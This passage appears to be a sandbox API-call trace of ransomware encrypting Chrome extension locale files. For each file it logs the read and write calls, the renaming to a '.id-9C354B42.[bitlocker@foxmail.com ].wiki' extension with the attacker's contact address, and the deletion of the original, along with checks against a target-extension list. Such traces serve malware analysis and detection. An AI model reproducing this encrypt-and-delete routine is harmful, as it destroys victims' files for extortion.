halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json")) returned 0x2020 [0176.727] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.727] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.727] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.920] GetLastError () returned 0x0 [0176.920] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xc6, lpOverlapped=0x0) returned 1 [0176.921] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0176.921] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.921] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.922] SetEndOfFile (hFile=0x334) returned 1 [0176.922] CloseHandle (hObject=0x334) returned 1 [0176.922] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.922] SetEndOfFile (hFile=0x19c) returned 1 [0176.923] CloseHandle (hObject=0x19c) returned 1 [0176.923] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.923] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json")) returned 1 [0176.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.923] lstrlenW (lpString=".doc") returned 4 [0176.923] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.923] lstrlenW (lpString=".docx") returned 5 [0176.923] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.923] lstrlenW (lpString=".pdf") returned 4 [0176.923] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.923] lstrlenW (lpString=".xls") returned 4 [0176.923] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.923] lstrlenW (lpString=".xlsx") returned 5 [0176.923] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.923] lstrlenW (lpString=".ppt") returned 4 [0176.923] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.923] lstrlenW (lpString=".zip") returned 4 [0176.923] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.924] lstrlenW (lpString=".rar") returned 4 [0176.924] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.924] lstrlenW (lpString=".bz2") returned 4 [0176.924] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.924] lstrlenW (lpString=".7z") returned 3 [0176.924] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.924] lstrlenW (lpString=".dbf") returned 4 [0176.924] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.924] lstrlenW (lpString=".1cd") returned 4 [0176.924] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.924] lstrlenW (lpString=".jpg") returned 4 [0176.924] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.924] lstrlenW (lpString=".doc") returned 4 [0176.924] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.924] lstrlenW (lpString=".docx") returned 5 [0176.924] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.924] lstrlenW (lpString=".pdf") returned 4 [0176.924] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.924] lstrlenW (lpString=".xls") returned 4 [0176.924] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.924] lstrlenW (lpString=".xlsx") returned 5 [0176.924] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.924] lstrlenW (lpString=".ppt") returned 4 [0176.924] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.925] lstrlenW (lpString=".zip") returned 4 [0176.925] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.925] lstrlenW (lpString=".rar") returned 4 [0176.925] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.925] lstrlenW (lpString=".bz2") returned 4 [0176.925] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.925] lstrlenW (lpString=".7z") returned 3 [0176.925] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.925] lstrlenW (lpString=".dbf") returned 4 [0176.925] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.925] lstrlenW (lpString=".1cd") returned 4 [0176.925] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 151 [0176.925] lstrlenW (lpString=".jpg") returned 4 [0176.925] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.925] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.925] lstrlenW (lpString="messages.json") returned 13 [0176.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.926] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=357) returned 1 [0176.926] CloseHandle (hObject=0x19c) returned 1 [0176.926] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json")) returned 0x2020 [0176.926] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.926] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.926] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.927] GetLastError () returned 0x0 [0176.927] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x165, lpOverlapped=0x0) returned 1 [0176.928] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x170, lpOverlapped=0x0) returned 1 [0176.929] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.929] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.929] SetEndOfFile (hFile=0x334) returned 1 [0176.929] CloseHandle (hObject=0x334) returned 1 [0176.929] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.929] SetEndOfFile (hFile=0x19c) returned 1 [0176.930] CloseHandle (hObject=0x19c) returned 1 [0176.930] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.931] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json")) returned 1 [0176.931] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.931] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.931] lstrlenW (lpString=".doc") returned 4 [0176.931] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.931] lstrlenW (lpString=".docx") returned 5 [0176.931] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.931] lstrlenW (lpString=".pdf") returned 4 [0176.931] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.931] lstrlenW (lpString=".xls") returned 4 [0176.931] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.931] lstrlenW (lpString=".xlsx") returned 5 [0176.931] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.931] lstrlenW (lpString=".ppt") returned 4 [0176.931] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.931] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.931] lstrlenW (lpString=".zip") returned 4 [0176.931] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.931] lstrlenW (lpString=".rar") returned 4 [0176.931] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.931] lstrlenW (lpString=".bz2") returned 4 [0176.931] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.931] lstrlenW (lpString=".7z") returned 3 [0176.932] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.932] lstrlenW (lpString=".dbf") returned 4 [0176.932] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.932] lstrlenW (lpString=".1cd") returned 4 [0176.932] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.932] lstrlenW (lpString=".jpg") returned 4 [0176.932] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.932] lstrlenW (lpString=".doc") returned 4 [0176.932] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.932] lstrlenW (lpString=".docx") returned 5 [0176.932] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.932] lstrlenW (lpString=".pdf") returned 4 [0176.932] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.932] lstrlenW (lpString=".xls") returned 4 [0176.932] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.932] lstrlenW (lpString=".xlsx") returned 5 [0176.932] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.932] lstrlenW (lpString=".ppt") returned 4 [0176.932] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.932] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.932] lstrlenW (lpString=".zip") returned 4 [0176.932] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.933] lstrlenW (lpString=".rar") returned 4 [0176.933] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.933] lstrlenW (lpString=".bz2") returned 4 [0176.933] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.933] lstrlenW (lpString=".7z") returned 3 [0176.933] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.933] lstrlenW (lpString=".dbf") returned 4 [0176.933] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.933] lstrlenW (lpString=".1cd") returned 4 [0176.933] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 151 [0176.933] lstrlenW (lpString=".jpg") returned 4 [0176.933] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.933] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.933] lstrlenW (lpString="messages.json") returned 13 [0176.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.934] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=607) returned 1 [0176.934] CloseHandle (hObject=0x19c) returned 1 [0176.934] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json")) returned 0x2020 [0176.934] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.934] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.934] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.935] GetLastError () returned 0x0 [0176.935] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x25f, lpOverlapped=0x0) returned 1 [0176.936] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x260, lpOverlapped=0x0) returned 1 [0176.937] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.937] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.937] SetEndOfFile (hFile=0x334) returned 1 [0176.937] CloseHandle (hObject=0x334) returned 1 [0176.938] SetFilePointerEx (in: hFile=0x19c, 